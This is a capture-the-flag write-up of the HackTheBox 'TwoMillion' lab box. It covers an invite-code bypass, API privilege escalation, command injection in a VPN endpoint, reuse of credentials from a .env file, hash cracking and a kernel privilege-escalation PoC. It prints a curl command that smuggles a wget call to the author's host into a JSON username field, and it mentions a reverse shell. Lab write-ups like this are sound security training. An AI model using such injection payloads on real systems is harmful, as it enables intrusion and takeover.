TwoMillion
TwoMillion is a linux box that was made to celebrate 2 million users on hackthebox.
This writeup will briefly go into the path I used to get root on the box, the challenges I had, and what I learned from it. I will not list every single thing I did, because otherwise this would be very bloated, I will mention some things that did not work out because I believe they could have lead to some kind of relevant information. Just as an example, I mention here that I am attempting to crack the hashes for the database users, but I do not mention checking SUID binaries to available sudo commands.
Contents
- Tools Used
- nmap scan
- HTTP Page – No Access
- HTTP Page – User Access
- Foothold – wwwdata
- Foothold – admin(user)
- Privilege Escalation
- Lessons Learned
Tools Used
I'll mention the tools used here. I might miss some basic ones like base64 or curl, which are present on many systems, but specifically the penetration testing tools I used are the ones I want to point out.
CeWL – Custom wordlist generator that crawls a website to make a wordlist. ffuf – Fuzzer for enumerating web applications de4js – JavaScript deobfuscator and unpacker dcode.fr – Tool that allows brute-forcing of caesar ciphers cyberchef – Tool to help encoding and decoding of various algorithms metasploit framework – Massive framework for pentesting, in this case I just used it for a meterpreter shell along with msfvenom linpeas – Linux system enumeration script that also look for vulnerabilities, PEASS-ng also has a windows enumerator DataDog 2023-0386 PoC – PoC used for privilege escalation
nmap scan
As always, we start with an nmap scan to see open ports on the target.
The box presented with TCP 22 with OpenSSH for Ubuntu, 80 as being open with a redirect to http://2million.htb. At this point I also started scanning UDP ports, while I enumerate these services. Something better I could have done here was run a long portscan on all ports, -p-, to get better information. For this box I ran nmap -sC -sV -oA (removing the irrelevant information).

HTTP Page – No Access
The HTTP page shows the hackthebox.eu website from 2017, when they were invite only. Enumerating the site a bit we see that in order to register a user we must first have an invite code, but we are welcomed to attempt to hack our way in!

I begin by using CeWL, a custom wordlist generator, which crawls the site and generates a wordlist. I've seen before that you can add some special characters to it as well, but I just start with this basic wordlist, not knowing anything about what the invite code looks like. After generating a wordlist I use ffuf to send the requests to the target, attempting all of the words in the wordlist. Something I should have done here was run ffuf to enumerate the site entirely rather than focusing solely on the invite code.
While ffuf was running, I look at the pages contents to understand it a bit better. I see that when you put in an invalid invite code, the dialog box it gives you is done client-side, which means it can be bypassed.
After looking at the source-code for the page, we see the check is indeed done client-side and we can intercept and modify it. At this point I start ffuf in attempting to enumerate the API endpoints.

The code here shows that it is interpreting the respond from the api/v1/invite/verify API endpoint and redirects us to /register with the stored code. We could either go directly to /register(which we would have enumerated anyway if I had enumerated the website correctly), or modify the response received, which then redirects us to /register with the stored code anyway.

My code is invalid for use on the registration page, so I begin looking at the source of this page as well. Digging into this registration page we don't see anything interesting in the source code, it grabs the invite code from local storage but does run a script on it. Feeling confident after the bypass of the invte code (its the little wins that count), I look at the inviteapi.min.js and attempt to make sense of it. Its clearly packed, it even has the variables p a c k e d. I sent a screenshot to chatGPT and it doesn't know what to make of it besides that it is packed, but recommends to use an unpacker and suggests de4js.
I put the code into the decoder and let it decode and it gives me a place I can send a POST request for how to generate an invite code.

Sending the POST request with burp we get this back:

This is clearly a Caesar cipher, due to the way it keeps the format of the text and the letters are just replaced. You can easily guess this yourself with enough time, but I just put it into dcode.fr/caesar-cipher which brute-forces it and shows that the text makes sense when using 13 rotations (rot13).
After decrypting, we now know we need to send a POST request to api/v1/invite/generate, also probably something we could have enumerated, but I was having a bad time trying to find the api endpoints.
A lot of this probably could have been avoided if I had enumerated the API endpoints appropriately, but my wordlists were struggling to get anything.
Sending this POST request we get back an invite code, with something saying its encoded.
This looks like some kind of encoded string, likely base64. We could just run this string through base64 with the -d argument to decode it, but I plug this code into CyberChef and it returns some strings that look like codes:

It looks like we have an invite code now! This code works for registering a user.
HTTP Page – User Access
Upon logging in we have the old 2017 hackthebox.eu webpage.

After digging around a bit, I found the VPN file download but could not figure out what to do further.
I referred to the “Guided Mode” which gave me a hint to check API endpoints.
After some trying to enumerate these API endpoints unsuccessfully again, I noticed it kept trying to set my PHPSESSID which I realized I hadn't been setting in my enumeration attempts. It was a big “duh” moment for me and I'm embarrassed it took me so long to realize what I was missing.
After setting the PHPSESSID cookie and enumerating, I was immediately provided with a full list of API endpoints by the API itself.

This was a big failing on my part, not using my user-authenticated PHPSESSID cookie when enumerating. I will not forget this again.
With the VPN endpoints, we see some of the admin endpoints are available, so we start poking them to see what they do.
Trying /api/v1/admin/auth returns false because my user is not an admin, and /api/v1/admin/vpn/generate returns in a 401 Unauthorized for the same reason.
I started sending PUT requests to /api/v1/admin/settings/update and bumbled through until I was able to find exactly what it was looking for: json content and settings for e-mail and admin status.
I sent a PUT request to the page to make my user account admin, and verified through the admin/auth endpoint.


Now as admin we can begin using the other API endpoint available to admins, /api/v1/admin/vpn/generate.
At this point we can send the POST request to the admin/vpn/generate endpoint and get a OpenVPN file back. This file doesn't help us really, because the VPN gateway is not up. I dug around a bit and didn't find anything helpful. After about 45 minutes of messing around and not seeing a path forward, I looked at the “Guided Mode” again and saw that it gives a hint that there is a command injection in one of the API endpoints.
The only ones that seemed to do something on the machine were the VPN generation endpoints, so I begin trying to do some command injection and eventually found that I could easily inject commands into the admin/vpn/generateAPI.
curl -X POST -sv 2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json" --cookie "PHPSESSID=i5f9snm7hs21104t26f0tcjedr" -d '{"username":"root; wget http://10.10.14.43:8000/test"}'
I ran the command above and saw the server reaching out to a python http server I had running, so I knew the machine was running my command just by adding the semicolon.
I then downloaded a file from my http server to standup a reverse shell and had access.

Foothold – wwwdata
I began enumerating the host, looking at /etc/passwd I see there is a user admin, so my goal is to move to that user because I not see any privilege escalation that I can do with the www-data user immediately.
I check listening ports with ss -tunlp and see that MySQL is listening and something called memcached, which I have not used before. I'll pursue the MySQL database so I start looking for credentials for the database.
I see in the Database.php file that its referring to some variables for the username and password, I didn't see these in the environmental variables. I check the directory and there is a .env file that contains the relevant variables.

These are credentials to the database, but they might word for the admin user on the box. I attempt to ssh to the box as the admin user with this specific password and it lets me right in.
Foothold – admin – user
Now the goal is to look for escalation pathways. I check the user's groups, nothing; I check what the user can run as sudo, nothing. I also check for weak SUID binaries and don't find anything.
To help with enumeration I run linpeas, which looks for vulnerabilities within the system. I saw some interesting things but nothing immediately jumps out as a clear path so I decide to enumerate memcached.
I can't get any good information out of memcached, so I'm going to enumerate the MySQL database.

The database has a few users including the one I created, I'll try cracking their passwords and seeing if I can get anywhere with that. Both users are listed as admins so there is hope.
I use hashcat in mode 3200 for bcrypt, and let it rip.
hashcat --username -m 3200 mysqlaccountdump.txt /usr/share/wordlists/rockyou.txt
While hashcat was running, I dug around a bit more through the results generated by linpeas, and the file system.
After about an hour of no progress I looked at the “Guided Mode” for a hint and it told me to look for e-mails. This should have been obvious but I had never checked emails for a linux user before so it was a new experience and is going to be added to my enumeration checklist.
I found in the e-mails a message mentioning to patch a privilege escalation path through the OverlayFS Subsystem.
Privilege Escalation
After some quick digging I found more information about it and a proof-of-concept (poc) from DataDog. PoC
I prepared the poc and launched it and was immediately given full sudo use, which allowed me to sudo su and access the /root/ directory and grab the flag.
There is also an encoded json document to thank the users for making hackthebox successful.
Lessons Learned
These are my biggest failings and things I need to work on that is specific to this box. While there are infinite things I need to improve upon, even just for penetration testing, these are the items that came to the forefront.
The biggest lesson learned for me was that I must get better and enumerating websites, a lot of this would have been much simpler if I had enumerated the website correctly. A big part of this is to ensure my cookies are present in the fuzzer that is running, to make sure any kind of session I have is being used. That means I need to do the following:
- Ensure session cookies are present in fuzzing tool.
- Add relevant headers to make the fuzzing tool look more like real traffic.
- Add a user agent so that the traffic doesn't say “User-Agent: Fuzz Faster U Fool” !!!!
Linpeas is great, but it is not the final word on privilege escalation. Linpeas did not detect the vulnerability that was present that allowed privesc. I may need to look for other tools that can also check for vulnerabilities.
Check user mail, I was not aware of
/var/mail, but I've added it to my enumeration checklist.Have a dedicated hashcracking PC. My miniPC that I do the testing on is not equipped to run hashing with time efficiency.
As always, enumeration is the hardest and most crucial part of every box I've done so far. It will be a constant skill to improve.